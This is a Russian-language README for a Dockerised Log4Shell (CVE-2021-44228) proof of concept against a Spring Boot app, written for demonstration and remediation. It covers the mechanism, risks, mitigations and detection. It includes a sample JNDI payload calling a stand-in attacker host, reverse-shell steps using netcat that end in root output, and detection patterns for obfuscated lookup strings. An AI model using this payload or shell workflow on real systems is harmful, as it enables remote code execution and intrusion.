Log4Shell (CVE-2021-44228) PoC

Цель

Воспроизведение, эксплуатация и устранение известной критической CVE в Docker-среде.

Эта PoC демонстрирует CVE-2021-44228 (Log4Shell) в приложении Spring Boot.

1. Описание уязвимости

CVE: 2021-44228

CVSS: 10.0 (Критический)

Затронутый компонент: Apache Log4j (<= 2.14.1)

Как работает пакет

• Log4j — популярная библиотека логирования для Java.
• Она поддерживает lookups (${...}) для динамического разрешения значений в сообщениях лога.
• Одним из таких lookup является JNDI, который может получать значения через LDAP.

Как работает уязвимость

• Злоумышленник отравляет приложение-жертву вредоносной строкой JNDI lookup, например ${jndi:ldap://attacker.com:1389/a}.
• Приложение-жертва с уязвимой версией Log4j вычисляет вредоносную строку во время логирования.
• Это вызывает JNDI-запрос к серверу LDAP, контролируемому злоумышленником.
• Сервер LDAP отвечает вредоносной ссылкой на внешний Java-байткод.
• JVM жертвы загружает и выполняет байткод, что приводит к удаленному выполнению кода (RCE).

Как работает эксплойт

1. Приложение жертвы логирует входные данные, предоставленные злоумышленником из HTTP-заголовка.
2. Сервер LDAP злоумышленника отвечает ссылкой на Exploit.class.
3. Жертва получает Exploit.class по HTTP.
4. Статический инициализатор в Exploit выполняется, порождая обратную оболочку (reverse shell) к злоумышленнику.

2. Риски

• Воздействие: Неаутентифицированное RCE — наивысшая возможная степень серьезности.
• Кто/что находится под риском:
  • Любое Java-приложение, использующее Log4j <= 2.14.1.
  • Службы, доступные из интернета и внутренние, которые логируют ввод, контролируемый пользователем (например, HTTP-заголовки).
• Последствия:
  • Компрометация системы (доступ к оболочке).
  • Экспорт данных.
  • Перемещение (pivoting) во внутренние сети.
  • Обход периметральных защит (атаки через внутренние службы).

3. Доказательство концепции

Предварительные требования

1. docker + docker-compose
2. netcat
3. make

Сборка и запуск

make build start

Эксплуатация

1. Запустите netcat-слушатель:

nc -l 4444

2. Запустите эксплойт:

make exploit

3. Netcat принимает обратную оболочку от жертвы:

/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...

4. Устранение

Предпочтительное исправление

• Обновление до Log4j 2.17.1 или новее.
• Это единственное полное и долгосрочное исправление. Более ранние версии были исправлены частично, но все еще оставляли уязвимости:
  • CVE-2021-45046: RCE через нестандартную конфигурацию логирования
  • CVE-2021-45105: DoS через самоссылочные lookups
  • CVE-2021-44832: RCE через определенные конфигурации JDBC appender'ов

make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell

Временные меры (если обновление невозможно)

1. Выиграть время

• Ограничить входящие строки эксплойта (шаблоны ${jndi:) с помощью WAF или промежуточного ПО.
• Ограничить исходящий LDAP с серверов приложений с помощью фильтрации исходящего трафика.

2. Отключить lookups:

-Dlog4j2.formatMsgNoLookups=true

3. Укрепить JVM:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

Операционные меры

1. Аудит зависимостей и среды выполнения

• Сгенерировать SBOM (gradle dependencies, Snyk, Wiz и т.д.).
• Искать развернутые образы/серверы на наличие log4j-core-*.jar, включая fat JAR'ы.
• Определить приоритеты и применить меры для самых рискованных рабочих нагрузок.

2. Мониторинг и обнаружение

• Отслеживать попытки эксплуатации в логах (${jndi:...}, ${${lower:j}ndi:...} и т.д.).
• Мониторить исходящий LDAP-трафик на наличие обратных вызовов.
• Считать находки потенциальными компрометациями, эскалировать для реагирования на инциденты (криминалистическое расследование, удаление вредоносных артефактов, ротация секретов и т.д.).

3. Патчи от вендоров

• Отслеживать уведомления вендоров (например, Elasticsearch) — многие поставляют встроенный Log4j.
• Применять предоставленные хотфиксы или обходные пути до выхода официальных патчей.

4. Стратегические улучшения

• Внедрить политику «запрещено по умолчанию» для фильтрации исходящего трафика.
• Внедрить сканирование зависимостей в CI/CD.
• Формализовать плейбуки реагирования, чтобы команды точно знали, что делать при следующей уязвимости с «CVSS 10.0».
• Проводить тренировки устойчивости/таблетопы для проверки готовности к инциденту «класса нового Log4Shell».

5. Ссылки

• Apache Security Advisories